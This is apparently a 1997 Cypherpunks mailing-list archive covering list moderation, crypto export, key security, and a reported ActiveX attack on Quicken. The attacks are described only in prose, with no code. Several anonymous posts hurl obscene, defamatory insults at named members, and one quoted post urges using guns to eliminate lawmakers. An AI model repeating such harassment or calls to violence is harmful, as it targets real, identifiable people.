rIuwJppnWPsvlcN32GF88lf6TupIoIVsReZbYJdu2WPluXsUTQ+oTOwEHNOD831t TXsqDd8QNpwZGGfbhv3tQ5T79jQIVim3jOesWbN9Ix3/qJyKgJnwRR1u0hZKriC3 lQAiUFl/hkg= =VPrH -----END PGP SIGNATURE----- --w=NZbzo6Zc1UmsEa-- From jya at pipeline.com Sun Feb 2 14:25:50 1997 From: jya at pipeline.com (John Young) Date: Sun, 2 Feb 1997 14:25:50 -0800 (PST) Subject: National Cryptologic School Message-ID: <199702022225.OAA03376@toad.com> DAW provided this URL: http://csrc.nist.gov/training/in170.zip 1996-04-29 Introduction to Computer Security National Cryptologic School Interactive Courseware Trainee Guide (formerly, CP-133) (37 zipped files, DOS program) We've had a look at this course, a primer on CompSec and a required course for all DoD employees. It takes some fiddling to get past the sign-on block. Hint: after unzipping execute "student.exe" and enter "CP" as the lesson. Repeat for other listed files, CPxxx - CPxxx. It's basic stuff but worthwhile for its claims, these among others: 1. Most hackers are employees of the target. 2. Negligence, accidents and sloppy sys-administration are prime causes of disruptions, perhaps more than deliberate attacks. 3. Environmental weaknesses are often overlooked by security experts too focussed on computer systems. It lists these security documents as references: EO 12356 [superceded by EO 12958] DCID 1/16 [Director of Central Intelligence Directive] DoDDir 5200.28 DoD 5200.28 STD Public Law 100-235 NSA/CSS Dir 10-27 NSA/CSS Manual 130-1 (NSAM 130-1) NSA/CSS Manual 130-2 (NSAM 130-2) NSA/CSS Reg 130-2 NTISSAM COMPSEC 1-87 The Rainbow Series OMB A-130 Does anyone know of a source for the DCID series and the NSA/CSS series? Some of the others are available on the Web -- see AltaVista. While looking for these we ran across an informative implementation of infosec and compsec: Information Systems Accreditation Document, 4 Volumes System Security Requirements for the Department of Defense Intelligence Information System Automated Message Handling System (AMHS) V2.x By: McDonnell Douglas Aerospace For: Electronic Systems Center, Air Force Materiel Command Which we've put at: http://jya.com/amhs.htm From attila at primenet.com Sun Feb 2 14:27:24 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 2 Feb 1997 14:27:24 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702022227.OAA03410@toad.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970202:0457 blanc said: +Yes, if the Magna Carta guaranteed a right and the forefathers fought +to secure it, why should any of us ever have to lift a finger in our +own defense. seems to me Jefferson said it took a rebellion every 20 years or so to keep democracy awake... other than presuming your answer is tongue in cheek (not elsewhere), complacency == welfare. +My contribution to this thread from the Cpunk History & Philosophy +Division: a Jewish saying from a book I glanced through of couple of +weeks ago, something like: + + "What good is it to a man who has lost his sight + that his ancestors had perfect vision." not a lot, but that does not mean he should scorn those who have managed to retain their sight. your saying is rather characteristic of the genre --best glamourized in Mad magazine. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvTfKL04kQrCC2kFAQG48gQA3LCObnHCe09r1jtV/0HbeilmKqSuP7ue lf6yScJiBHCwgm8aGT+NqjmSdvKUlTEfjV4H2zVCfoYyQEh5tMs4LnnDpd4zPL0M EBUrCdu2KBgLQpgbzP9g64cUCsq6LMGsfe7mqKaYYFIUmYJMBLsrYrLtPLPGlJ0S +LRYfJexD1s= =y085 -----END PGP SIGNATURE----- From tcmay at got.net Sun Feb 2 14:42:38 1997 From: tcmay at got.net (Timothy C. May) Date: Sun, 2 Feb 1997 14:42:38 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: A couple of people have sent me pinging messages, asking about my status on the Cypherpunks list....apparently it has taken several weeks for folks to notice my absence! :-} This may speak volumes about why I have left the list, and what the list has become..... I chose not to write a "departing flame" (or message, but some might call it a flame) when I unsubscribed several weeks ago--within an hour of reading that John and Sandy had decided to make "their" list a moderated list, by the way--as I saw little benefit. I was also fed up with things, and saw no point in wasting even more of my time arguing against the New Cypherpunks World Order, as the NCWO was clearly presented as a fait accompli, not something ablut which opinions of list members (or even list _founders_, at least not me) were being sought. It's my nature to just say "Fuck it" and leave when I feel I have overstayed my time, or things are no longer fun, or I am made to feel unwelcome. But since several people have pinged me, asking about my status, I'll take some time to say a few things. I've had access to the hks.net archive site, and/or the Singapore site, to occasionally see what was being said on the list (old habits die slowly, so I sometimes drop in to see what you people are flaming each other about...not surprisingly--in fact utterly predictably--I see vast amounts of bandwidth consumed by arguments about moderation, about the putative biases of the Moderator and Director of the New Cypherpunks World Order, about alternative moderation strategies (which is stupid, as John and Sandy announced what they were going to do, not just some of their preliminary thoughts), and so on. I've also noticed fewer substantive essays. With no false modesty I tried awfully hard to compose substantive essays on crypto-political topics, often more than one per day. (Others did too, but they seem to be tapering off as well, leaving the list to be dominated by something called a "Toto," the "O.J. was framed!" ravings of Dale Thorn, the love letters between Vulis and someone name Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm not reading the list in e-mail, and thus can easily avoid replying to these inanities...which would probably not be approved for reading by Sandy, so why bother anyway?) Rather than compose a traditional essay, I'll take the easy way out and list some bulleted points. * First, I don't argue that John Gilmore is unfree to do as he wishes with his machine, toad, which has been the major machine host for the Cypherpunks list. John can tell us we have to write in Pig Latin if he wishes. Much of the debate I saw in the archives was debate that missed the point about what John could and couldn't do. No one can seriously question the right of the owner of a machine, or the owner of a restaurant, etc., to set the policies he wishes. The owner of a restaurant is perfectly free--or used to be, and still is to anyone with even slightly libertarian or freedom tendencies--to set the rules of his "house." He may insist that shirts and shoes be worn, or that smoking is not allowed (or even is required, in theory), etc. He may say "All those eating in my restaurant must wear funny hats and have their costumes approved by Sandy Sandfort." This is unexceptionable. * However, anyone who disputes these rules (disputes in the sense of disliking or disagreeing with them, not legally challenging them) is free to leave. Those who don't like crowded, noisy, smoke-filled sports bars are encourgaged to leave. And so on. Again, unexceptionable. (The more complicated case of contracts, verbal or written, and "changing the rules," does not apply here. No one had a contract with John, or Sandy, or Hugh, etc., so this is not germane.) * But the really important issue is this: is the _physical hosting_ of the Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list was hosted by, say, UC Berkeley or PGP Incorporated, would we consider these hosts to be the "owners" of the Cypherpunks group? Would we think that a corporate host, say, would have the authority to direct what we could say on the list? (Again, not disputing their corporate property rights...as a libertarian, I cannot. Other issues are what I'm getting at.) * If a Boy Scout troop meets at a local church, and has for several years, continuously, would we consider the church to be the owner of the troop? Could the church insist on avoidance of certain "cuss words" and demand that prayers be said before each gathering? Certainly the church could tell the troop what policies were to be followed if the the facilities were to be used, etc., and the troop could leave if it didn't like the terms (or, in parallel with my situation, any troop member could choose to leave....). This is what we mean by "property rights": the legal right of a property owner to do with his property as he wishes, modulo prior contractual relationships, criminal laws, etc. * How did the mailing list for the group, now called Cypherpunks, get started, and how did it end up being run off of John's hardare? Hugh Daniel got the actual mailing list rolling, based on a discussion Eric Hughes, Hugh, and I had the day after the first physical meeting, in September 1992. We thought the group we had just spent the day with ought to be able to stay in touch, and that a mailing list was the right way to go. There was talk of siting it on the UC Berkeley computers (actually, the Undergraduate Association computers, a la the Cypherpunks archive site at "csua"), but Hugh thought he might be able to use "toad," and this is what happened. (I have not heard from Hugh on his views of this New and Moderated Non-Anarchic List.) * I think we should all be very grateful to John for agreeing to let it run on his hardware, but not let our gratitude turn into some sort of subservience and blather about how John "owns" the Cypherpunks group. * Again, is the "Cyherpunks community" the same as the mailing list? And is the mailing list, hosted at toad, the "property" of John Gilmore? * In my view, neither John nor Sandy in any sense "own" our group. It is a virtual community which sometimes has physical meetings at various places (including corporations, restaurants, and bookstores, none of which are even partial "owners" of the group) and which has had several instantiations on the Net, including sub-lists not connected to toad.com in any way. While John is of course free at any time to suspend his hosting of the list, I think it a serious misapprehension of the basic nature of virtual communities to accept the claim that John should decide on what is appropriate to bear the "Cypherpunks" list imprimatur and what is to be consigned to the flame list. * The mechanics of the announcement troubled me greatly. To be blunt, I was seething with anger. I was mightily annoyed to read that John had made a decision to appoint Sandy as his Moderator, with no discussion on the list. I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but I certainly know I was not. I feel that as one of the two or three founders, depending on how one is counting, and as a frequent contributor to the list since its inception, and so on, I (and others) should at least have been told of this plan. Better yet, have the plans discussed on the list, as some good ideas may have been generated. I'll have more to say about my problems with how things were handled. Frankly, it smacked of the same kind of fait accompli decision John made with the unsubscribing of Vulis. While John had (and has) every legal right to do with his property as he wished, the effect was very negative. First, Vulis found other ways to post (duh). Second, the list was consumed with flames about this, many from Vulis, and many from others. Third, journalists (who love sizzle over substance any day of the week) lept into the fray with articles which gave Vulis the publicity he craved. Fourth, it sent a message to enemies of liberty that "Even the Cypherpunks have found it necessary to abandon their anarchic ways." (I'm well aware of the issues with pests like Vulis, who seek to destroy virtual communities like ours. But the solution John used did not work, and generated more crap. As you all should know, it was John himself who coined the wonderful saying, "The Net interprets censorship as damage and routes around it." A delicious irony.) * In the archives, I did see a bunch of "I support Sandy" and "John is our leader" comments from reasonable people. The obvious noise of Vulis and his cohorts like Aga made a "Do something!" attitude somewhat understandable. I don't think the decision made was a wise one, and I strongly doubt it will work to make the list a better one. * The proper solution to bad speech is more speech, not censorship. Censorship just makes opponents of "speech anarchy" happy--it affirms their basic belief that censors are needed. * "Censorship" is another overloaded term. I don't think the "Definition 1" of dictionary definitions, about _governmental_ restrictions, is the only meaningful definition. Everybody knows what it meant when we say that "Lockheed is censoring the views of employees," even though we know Lockheed is not using government power. A censor is one who censors. And even my "American Heritage Dictionary" gives this as its "definition 1": "censor n. 1. A person authorized to examine books, films, or other material and to remove or suppress morally, politically, or otherwise objectionable." (Other dictionaries of course give similar definitions. The notion that censors are confined to being government employees is a misconception.) * OK, even given that John had decided to censor "his" list, what about his choice of Sandy Sandfort as the censor? I've known Sandy for several years (I was the one who invited him to the second Cypherpunks meeting), but he's a poor choice as a censor, moderator, whatever. First, because he has so often gotten involved in protracted flame wars, such as with Vulis (remember the dozens of messages about the "bet" to bring Vulis out? I stayed out of the charade completely.), with Hallam-Baker, and with others. Second, because he has not been actively composing essays for a while, perhaps because of his job with Community Connexion. Other reasons, too. (I count Sandy as a friend, but I'm just being honest here. Sandy is just not a "Peter Neumann" (moderator of the "RISKS" list). * Nor do the announced criteria make any sense. While the inane one-line scatological insults have been filtered out, many "flames" make it through, based on what I've seen in perusing the hks archive site. And some reasonable comments get dumped in the flame bucket. * As expected, those who only want to talk about cryptography (but who rarely do, themselves, also as expected) waste bandwidth saying the "anarchist" and "libertarian" stuff ought to go in to the "rejected" list. More bandwidth wasted, as each group lobbies to have its ideological opponents censored by Sandy. * I would have had no problem had John announced that he was creating a new list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff. After all, both Eric Blossom and Ray Arachelian already offer just such lists, and more would not hurt. But by making the _main list_ the censored one, this skewed things considerably. * (Frankly, one of my considerations in leaving was the feeling that I would never know if an essay I'd spent hours composing would be rejected by Sandy for whatever reasons....maybe he might think my essay was off-topic, or used one of the Seven Deadly Words, or was "too flamish." Whatever. I realized that life is too short to have Sandy Sandfort deciding whether my essays should go out to the main list (which is really just a list like Eric Blossom's best-of list, except it is be edict now the main list) or be dumped into the flames list, to be read by a handful of people.) * Why, many reasonable people may ask, did I not simply unsubscribe from the "Cypherpunks" list and subscribe to the "Cypherpunks-Unedited) (or whatever it is called) list? Because of my overall anger with the issues raised above. The imperiousness of the decision, the notion of favoring Sandy's tastes in a more "first class" way than, say, the tastes of Eric Blossom, Ray Arachelian, or, for that matter, me. "Some censors are more equal than others." * The decision to "moderate" (censor) the Cypherpunks list is powerful ammunition to give to our opponents, and Vulis is certainly gleeful that his fondest wishes have been realized. And it won't work. People are consuming even more bandwidth arguing the merits of John's decision, the traffic is presumably being slowed down by the need for Sandy to wade through the traffic and stamp "Approved" or "Rejected" on what he glances at, and people are "testing the limits" of what they can say and what they can't say. * It also sends a message that people are incapable of filtering out bad speech, that they need a censor to do it for them. (Again, I have no problem with competing "screeners," a la having Ray, Eric, or David Sternlight filtering what they think is OK and what is not. Let a thousand filtering services bloom.) But the clear message by having Sandy censor the main list (the default list, the list name with the main name, the list we all know about, etc.) is that Cypherpunks need Big Brother to shelter them from Bad Thoughts, from Naughty Words, from Evil Flames, and from Impure Desires. Foo on that. * Psychologists might point to random reinforcement, even to the effects of terror. How many of us are likely to write controversial posts knowing that Sandy might wake up having a "bad hair day" and thus reject our posts? How many will begin to skew their opinions to match those of Sandy? (I would venture a guess that a Duncan Frissell would almost certainly get a libertarian rant past Sandy while a Phill Hallam-Baker might easily fail to get a leftist rant past him.) * Those who want "less noise" should subcontract with the filter services of their own choosing. This is the "Cypherpunk Way." Having Sandy as the censor is the easy way out. * By the way, the moderated list "RISKS" works pretty well. But it is not a _discussion_ group. It is, rather, a digest of news items related to computer and technology risks, with some discussion by various contributors, and with a long turnaround time of a few issues per week, tops. Peter Neumann also devotes a lot of time to making it run smoothly and bases part of his professional career on running it. I surmise that Sandy is not prepared to do the same. Nor would this be a good idea, as this would kill the spirit of the debate. * Had there been a debate about the policy, I can think of several approaches I'd like better. But inasmuch as John made it clear that there would be no debate (and, perhaps as part of the "problem," John has not really been a active member of the mailing list, in terms of participating in the debates), this is all moot. In any case, my several years with the list have taken a huge amount of my time. Given the way this whole thing was handled, and the way the list is degenerating even further, it looks like it's good that I'm moving on to other things. * To summarize: - the decision to censor the list was made without any discussion on the list, without any discussion with at least some of the longterm core contributors, and was presented as a "fait accompli." - while John has every right to do with his hardware as he wishes, he does not "own" the Cypherpunks group (though whether he owns the "list" is a semantically debatable point) - whatever our group once was, or still is, is not dependent on having a particular mailing list running on someone's home machine...and it cannot be claimed that any person "owns" the Cypherpunks group. - there is some talk of creating another Cypherpunks list, on other machines; I don't know whether or not this will fly, or if I'll devote any time to such lists. - the effect of censorship, such as I have seen it so far, is not producing a better list. In fact, as I would have expected, it is producing a more boring and sheltered list. And so there you have it. I had no plans to set down my views, feeling it was a waste of my time and your time. Rather than foam and rant the way some did (and Vulis must have posted 100 messages on the subject), I chose to simply make my exit, quickly. But as I have recently seen several mentions of my absence (including a particularly complimentary comment from Asgaard--thanks), I do feel I owe it to you all to explain my views. Which I have done. Have a nice year, and a nice millenium in a couple of years. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From whgiii at amaranth.com Sun Feb 2 14:55:23 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sun, 2 Feb 1997 14:55:23 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702021555.HAA25423@toad.com> Message-ID: <199702021659.QAA05236@mailhub.amaranth.com> X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24 From roy at sendai.scytale.com Sun Feb 2 15:18:46 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Sun, 2 Feb 1997 15:18:46 -0800 (PST) Subject: "Secret" Postal Device stolen In-Reply-To: <199702020226.SAA04649@toad.com> Message-ID: <970202.103614.3s2.rnr.w165w@sendai.scytale.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, toto at sk.sympatico.ca writes: >> >>>Postal Service offers $25,000 reward for stolen . . . something > Mail carriers in some areas carry keys for buildings with security > doors (sometimes Master keys). In Minneapolis and Anchorage (the two cities of which I have knowledge) mail carriers have a key that opens not only apartment-style mailboxes, but little boxes on the outside of apartment buildings that hold a key to the building's lobby. Snag one of those keys and a large portion of the city opens its doors to you. (some buildings have further locked doors beyond the mailbox lobby to counter this threat) - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvTEUxvikii9febJAQEMEwP+Ji/B1z7uYSJspTij6xH2jUn/JMXmJ7RF drUZruHZNxQv3xGHOPbf4nerDqANgYe/6DzZdrNRhP5RgYTPZp4K1gHDRLhyKAZL EriifeqlXe9X69EDCXSJr8nVSEP1XlSoI2cc9nMFyG42Mwg0Do52WdvhBbZtiM8I zKo9v+3VOqg= =O4dL -----END PGP SIGNATURE----- From whgiii at amaranth.com Sun Feb 2 15:28:24 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Sun, 2 Feb 1997 15:28:24 -0800 (PST) Subject: Key Security Question In-Reply-To: <199702021555.HAA25423@toad.com> Message-ID: <199702021732.RAA05665@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199702021555.HAA25423 at toad.com>, on 02/02/97 at 09:34 AM, "Dr.Dimitri Vulis KOTM" said: >ichudov at algebra.com (Igor Chudov @ home) writes: >> Dr.Dimitri Vulis KOTM wrote: >> > Bill Stewart writes: >> > > On the other hand, if the "repairman" replaced your pgp executable >> > > with version 2.6.3kgb, which uses your hashed passphrase as the >> > > session key, you're hosed. Or if he installed a keystroke sniffer, >> > > or added a small radio transmitter to your keyboard, or whatever. >> > > Depends on your threat model. If you need to be paranoid, >> > > they've already gotten you.... >> > >> > If you're really paranoid, you can boot from a clean floppy and >> > reinstall everything from your backup tapes. You do have a >> > contingency plan in case your hard disk goes bad, or gets a >> > virus, don't you? Well, if you're in doubt, exercise it. >> >> And what if the repairman replaces BIOS ROM chips with KGBios? >On some computers it's possible to add executable code to the boot >sequence without replacing the actual ROM chip because they're >rewritiable. Examples: most Sun boxes; intel motherboards with 'flash >bios'. V-Communications has a nice Bios Pre-Processor for their dissasembler for anyone intrested it playing with their bios code. Most newer MB's come with Flash Bios and the software to Flash the chip is available for download from the Manufacture. I'v gone and tinkered around with the bios on a couple of my AMI motherboards. Flash bios does open the possibility for a virus infection of ones bios. I have had several intresting discussions with the AMI programmers about this. IMHO any device that has flash bios should have a jumper on the circuit board to enable/disable the flash option. I have not seen anyone that is doing this with their products. The MB bios is relativly safe as the flash process happens pre-post but considering that flash bios can be found in almost all computer prerifials the potential for harm is there. Currently on my system I have flash bios on the HD's, modem's, NIC's, & SCSI card's. All are a potential hiding spot for a virus. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: Air conditioned environment - Do not open Windows. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMvUl1Y9Co1n+aLhhAQHVcAQAmlU7/gY80+0C3KTowerMkZHa1ro4A5g5 0qKRuuAO08eOmnwND16bBxOo5KKZU/2Xxydvdg2CpE4C9ga/po3QTasa+kKzpsR7 jBQxDAWauirLlJtXCnfiaYQrycxX6YoFoZanRGticT4ObRmFvT0OcqYqqL/fgXe0 oSiw02JDATQ= =S97o -----END PGP SIGNATURE----- From rah at shipwright.com Sun Feb 2 15:52:38 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 2 Feb 1997 15:52:38 -0800 (PST) Subject: Electronic Funds Transfer without stealing PIN/TAN Message-ID: --- begin forwarded text Sender: e$@thumper.vmeng.com Reply-To: Rachel Willmer Mime-Version: 1.0 Precedence: Bulk Date: Sun, 2 Feb 1997 15:03:25 +0000 From: Rachel Willmer To: Multiple recipients of Subject: Electronic Funds Transfer without stealing PIN/TAN --- From RISKS digest --- Date: 1 Feb 1997 05:12:02 GMT From: weberwu at tfh-berlin.de (Debora Weber-Wulff) Subject: Electronic Funds Transfer without stealing PIN/TAN The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television show broadcast the previous evening on which hackers from the Chaos Computer Club demonstrated how to electronically transfer funds without needing a PIN (Personal Identification Number) or TAN (Transaction Number). Apparently it suffices for the victim to visit a site which downloads an ActiveX application, which automatically starts and checks to see if Quicken, a popular financial software package that also offers electronic funds transfer, is on the machine. If so, Quicken is given a transfer order which is saved by Quicken in its pile of pending transfer orders. The next time the victim sends off the pending transfer orders to the bank (and enters in a valid PIN and TAN for that!) all the orders (= 1 transaction) are executed -> money is transferred without the victim noticing! The newspaper quotes various officials at Microsoft et al expressing disbelief/outrage/"we're working on it". We discussed this briefly in class looking for a way to avoid the problem. Demanding a TAN for each transfer is not a solution, for one, the banks only send you 50 at a time, and many small companies pay their bills in bunches. Having to enter a TAN for each transaction would be quite time-consuming. Our only solution would be to forbid browsers from executing any ActiveX component without express authorization, but that rather circumvents part of what ActiveX is intended for. A small consolation: the transfer is trackable, that is, it can be determined at the bank to which account the money went. Some banks even include this information on the statement, but who checks every entry on their statements... Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10, 13353 Berlin GERMANY weberwu at tfh-berlin.de -- Rachel Willmer, Intertrader Ltd, Cova House, 4 John's Place, Edinburgh Email: rachel at intertrader.com Tel: +44 131 555 8450 Fax: +44 131 555 8451 Sun Internet Associate and winner of 1996 SMART Award for Innovation "We develop Java Commerce Solutions" --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From stewarts at ix.netcom.com Sun Feb 2 16:57:31 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 2 Feb 1997 16:57:31 -0800 (PST) Subject: "Strong" crypto and export rule changes. In-Reply-To: <199702020956.BAA16024@toad.com> Message-ID: <3.0.1.32.19970202164850.005fdd50@popd.ix.netcom.com> At 11:55 PM 2/1/97 -0500, Adam Shostack wrote: > More seriously, that estimate is the cost of breaking DES on >custom hardware, based on Wiener's figures. Ian got RC4-40 in 3.5 >hours on I don't know how much hardware, not a lot of it custom, AFAIK. http://now.cs.berkeley.edu is the home page for the Network Of Workstations CPU farm. Mostly Suns with some recent generation of Sparc chip. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From attila at primenet.com Sun Feb 2 17:03:43 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 2 Feb 1997 17:03:43 -0800 (PST) Subject: Free & Open Society & toleration In-Reply-To: <199702020418.WAA01210@einstein> Message-ID: <199702030103.SAA17931@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- are you really saying we must dispose of our time honoured tradition of "the best justice money can buy..." ??? say it is not so; where would our legal system be without body trading? as for the communist/socialist ideal of work/need/want where want is suppressed --it does not work; never has, never will. even the religious orders have not made it work over time (other than by fear). on or about 970201:2218 Jim Choate said: +1. Removal of the lawyer from the ultimate choice of whether the case + should be pursued. whew, open the floodgates. free lunch. +2. The minimalization of the defendants and plaintiffs monetary + resources + by removing them from the legal system by choosing the legal + representation of both parties by lot. damn, free dinner, too. +3. By moving the responsibility of police to provide evidence from the + prosecution to the court we equalize the impact of irregularities + in evidence selection as well as minimizing the sorts of evidence + disputes which so impact some trials (ie OJ Simpson). my, we're on a roll, aren't we? +4. By the implimentation of a bond proviso on the part of the + plaintiff + the system provides a check and balance reducing nuisance cases as + well as reducing the taxation load on the citizenry. this is already a factor in the need to pay an attorney his ridiculous fees. being required to post a plaintiff's bond does nothing to equalize the rights of the have nots --most of whom seem to have unlimited resources from the dogooders anyway. Get real, Jim. it may not be the best system, but other than enforcing the principles on which it is founded, and stripping attorney privileges to a percentage of the take, the system works quite well; corruption on the bench is whose fault? ours, just like the excesses in Washington are our fault. it is _our_ failure to insist on clean, representative government and judiciary. and to convert to a pooled system for equality is not going to stop graft -it is built in to human greed. stop apathy on _our_ part, and we will stop graft. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvTltb04kQrCC2kFAQFRNAP/fJyPvrecq+GEcHygxCqtatySX81OfeaO lCCsgQ5cddvX/tLmSE7+hEN6jBoV3xHkQEbgfDm2mcJWEtGGNMMtNYZCKHrz0Y+l LKUx53PlmByg887Lsf7ta6zjYdE/0pJHtKoBC6hS/uJV3R+2YeWg5sqrsT3t/3oS W4PwmJVq6bc= =mfZQ -----END PGP SIGNATURE----- From attila at primenet.com Sun Feb 2 17:03:52 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 2 Feb 1997 17:03:52 -0800 (PST) Subject: Free & Open Society & toleration In-Reply-To: <199702020201.UAA00977@einstein> Message-ID: <199702030103.SAA17943@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970201:2001 Jim Choate said: +I further hold that one of the current legal practices based on +precidence which MUST be replaced is our system dealing with +defamation. I further hold that our current system of legal +representation is inherently flawed and prevents equal representation +under the law. BULLSHIT why don't you toll the bell for freedom while you're at it, and think about 'for whom the bell tolls.' --it tolls for thee. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: Encrypted with 2.6.3i. Requires 2.6 or later. iQCVAwUBMvTgoL04kQrCC2kFAQHeuQP8CtEQx/Rw/fLHqIx9UOfqp3QK4fQXKneV PXDiZvTi9aTLqd/8D64CgNmRizmb26NIMlEBXXt/YreucdYKSWByBkmMozKw7kxY QN3N/of1wZfqbXmJQj2+oV5dG9ieNWM3mkQw8pp79z8qa6jGYMt3xW1aqsYaweR0 Kx8zM9xm8S8= =4Hwo -----END PGP SIGNATURE----- From winsock at rigel.cyberpass.net Sun Feb 2 17:05:49 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Sun, 2 Feb 1997 17:05:49 -0800 (PST) Subject: Lucifer Message-ID: <199702030105.RAA14828@sirius.infonex.com> Deflated Vermin K`adaver'OTM has been fired for masturbating in front of his boss. o o --/-- <~\ Deflated Vermin K`adaver'OTM __\ _/\ From ichudov at algebra.com Sun Feb 2 17:14:54 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 2 Feb 1997 17:14:54 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: <199702022225.OAA03364@toad.com> Message-ID: <199702030110.TAA24381@manifold.algebra.com> jim bell wrote: > > Better yet, set up a system to encourage the public to USE those guns (and > other weapons) to get rid of the people who pass such laws, and the problem > is solved. > How about this scenario: I borrow 1 million dollars from, let's say, Phill Hallam-Baker. Not wanting to pay it back, I pay to the assassination bot and arrange him to be murdered. Another story: suppose that I negligently caused fire that destroys house of, say, Toto. Toto knows that if he sues me, I can arrange him murdered for the amount less than the amount of damages. As a result, he refrains from suing me, or (if he is a mean person) pays additional money to have me murdered. A suit would probably be a much better outcome. Another story: suppose that OKSAS hired me to work for her, but then our relationships go south and she fires me. Again, her fate is very unclear, although I would probably spare her life if it were she. The bottom line is, it becomes very hard to do ANYTHING that disappoints at least somebody. That can lead to a lot of inefficiencies. - Igor. From lucifer at dhp.com Sun Feb 2 17:18:02 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sun, 2 Feb 1997 17:18:02 -0800 (PST) Subject: None[ANNOUNCEMENT] Secure envelopes Message-ID: <199702030117.UAA31219@dhp.com> Tim C[rook] May's aberrant sexual life has negatively impacted his mental integrity. ,,, -ooO(o o)Ooo- Tim C[rook] May (_) From nobody at huge.cajones.com Sun Feb 2 17:22:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 2 Feb 1997 17:22:05 -0800 (PST) Subject: [OFF-TOPIC] Newt's phone calls Message-ID: <199702030122.RAA19571@mailmasher.com> Dipshit Viscera K Of The Month will fuck anything that moves, but he'd rather be fucking his own mother's dead body. ^-^-^-@@-^-^-^ (..) Dipshit Viscera K Of The Month From oksas at asimov.montclair.edu Sun Feb 2 17:40:35 1997 From: oksas at asimov.montclair.edu (OKSAS) Date: Sun, 2 Feb 1997 17:40:35 -0800 (PST) Subject: If guilty of a lesser crime, you can be sentenced for a greater In-Reply-To: <199702030110.TAA24381@manifold.algebra.com> Message-ID: On Sun, 2 Feb 1997, Igor Chudov @ home wrote: > jim bell wrote: > > > > Better yet, set up a system to encourage the public to USE those guns (and > > other weapons) to get rid of the people who pass such laws, and the problem > > is solved. > > > > How about this scenario: I borrow 1 million dollars from, let's say, > Phill Hallam-Baker. Not wanting to pay it back, I pay to the > assassination bot and arrange him to be murdered. > > Another story: suppose that I negligently caused fire that destroys > house of, say, Toto. Toto knows that if he sues me, I can arrange him > murdered for the amount less than the amount of damages. As a result, > he refrains from suing me, or (if he is a mean person) pays additional > money to have me murdered. A suit would probably be a much better outcome. > > Another story: suppose that OKSAS hired me to work for her, but then > our relationships go south and she fires me. Again, her fate is very > unclear, although I would probably spare her life if it were she. Chudov , do you love me? > > The bottom line is, it becomes very hard to do ANYTHING that disappoints > at least somebody. That can lead to a lot of inefficiencies. > > - Igor. > From blancw at cnw.com Sun Feb 2 17:51:54 1997 From: blancw at cnw.com (blanc) Date: Sun, 2 Feb 1997 17:51:54 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <01BC1132.60AFC420@king1-28.cnw.com> From: Attila T. Hun +Yes, if the Magna Carta guaranteed a right and the forefathers fought +to secure it, why should any of us ever have to lift a finger in our +own defense. seems to me Jefferson said it took a rebellion every 20 years or so to keep democracy awake... other than presuming your answer is tongue in cheek (not elsewhere), complacency == welfare. ......................................................... Definitely tongue-in-cheek. Just noting that if a thing 